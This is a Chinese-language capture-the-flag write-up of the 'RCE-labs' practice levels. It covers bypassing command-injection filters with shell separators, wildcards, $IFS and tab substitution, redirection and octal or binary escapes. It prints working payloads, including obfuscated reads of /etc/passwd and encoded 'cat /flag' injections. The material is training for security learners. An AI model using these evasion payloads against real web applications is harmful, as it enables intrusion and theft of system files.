RCE-labs 练习:命令执行绕过技巧(二)

由 晨星运营组 发布

RCELABS-3:基础命令执行



POST参数a作为系统命令执行,无任何过滤

RCELABS-4:Shell运算符

&&(逻辑与) 第一个命令执行成功返回值为0,才执行后面的命令
||(逻辑或) 第一个命令执行失败返回值不为0,才执行后面的命令
&(后台运行符) 1命令放后台执行,立即执行2命令
| (管道符) |前当做输入,或直接执行|后的命令
;(命令分隔符) 无论1命令是否成功,都执行2命令

system函数执行ping命令,ping你get传进去的ip地址,所以如果在传ip值的后面加上分号,就能在分号之后执行cat /flag
?ip=;cat /flag
;确保无论ping是否成功,都会执行cat命令

RCELABS-5:通配符、

* 匹配零个或多个字符 *.txt
? 匹配单个字符 file?.txt
[] 匹配方括号内的任意一个字符 file[1-3].txt
[^] 匹配不在方括号内的字符 file[^a-c].txt
{} 匹配大括号内的任意一个字符串 file{1,2,3}.txt

用于绕过一些简单的过滤
system("c''at /e't'c/pass?d");
system("/???/?at /e't'c/pass?d");
system("/???/?at /e't'c/*ss*");

?cmd=cat /f*
if语句会检测$cmd中的flag,输入?cmd=cat /flag会触发检测
f*匹配以f开头的文件

RCELABS-6:字符过滤与路径通配


过滤了很多字符,可以用脚本,检测还剩下哪些字符可以用

for ($i=32;$i<127;$i++){
    if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",chr($i))){
        echo chr($i)." ";
    }
}

运行结果

  1. ?可以匹配任意一个单字符,但是?作为通配符只在路径有效
  2. 找到cat命令程序的路径,通过路径访问cat就可以了

?cmd=/???/?a? /??a?
匹配/bin/cat /flag(???匹配bin,?a?匹配cat, /??a?匹配 /flag)
或者用base64命令编码输出
?cmd=/???/?a??64 /??a?

RCELABS-7:空格过滤绕过


绕过方法

  1. URL编码Tab:%09
    ?cmd=cat%09/f*
  2. 环境变量IFS:$IFS
    $IFS默认包含空格、制表符,可替代空格分隔参数
    ?cmd=cat$IFS/f*

RCELABS-8:文件描述与重定向

重定向语法

  1. command > /dev/null:屏蔽标准输出
  2. 2>&1:将错误输出重定向到标准输出
  3. 组合使用:command > /dev/null 2>&1

    system($cmd.">/dev/null 2>&1");
    将执行输入的命令并将输出和错误输出都重定向到/dev/null中,所以没回显
    解题思路
    命令分隔符将前后命令分开,?cmd=cat /flag ;

RCELABS-9:八进制转义


解题思路
!#$&'()0123456789<_{}~
只能用这些字符构造payload

使用$'\xxx'解析八进制ASCII码
?cmd=$'\143\141\164' $'\57\146\154\141\147'
cat:$'\143\141\164'
/flag:$'\57\146\154\141\147'

RCELABS-10:二进制整数替换

  1. 二进制转义:$((2#binary))
  2. 替代2的方法:$((1<<1))(左移运算)

$'\$(($((1<<1))#10011010))\$(($((1<<1))#10100011))'
ls的二进制转义

用工具直接梭cat /flag

再url编码再传值,得到答案

作者:晨星安全团队--SD9ard3n


0条评论

发表评论